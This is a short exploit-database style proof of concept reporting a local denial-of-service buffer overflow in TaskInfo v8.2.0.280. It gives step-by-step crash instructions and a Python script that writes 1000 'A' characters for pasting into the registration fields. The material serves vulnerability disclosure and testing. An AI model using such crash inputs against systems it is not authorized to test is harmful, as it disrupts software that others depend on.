# Exploit Title: TaskInfo v8.2.0.280 - Denial of Service (PoC)# Discovery by: Rafael Pedrero# Discovery Date: 2019-01-30# Vendor Homepage: http://www.iarsn.com/# Software Link : http://www.iarsn.com/# Tested Version: v8.2.0.280# Tested on: Windows XP SP3# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow# Steps to Produce the Crash:# 1.- Run TaskInfo.exe# 2.- copy content TaskInfo_Crash.txt to clipboard (result from this python script)# 3.- Go to "Help" - "Registration" - "Set or View Registration Information" and paste the result in the "New User Name:" and "New Serial Number:" textbox.# 4.- Click in OK button and you will see a crash.#!/usr/bin/env python
crash = "\x41"* 1000
f = open ("TaskInfo_Crash.txt","w")
f.write(crash)
f.close()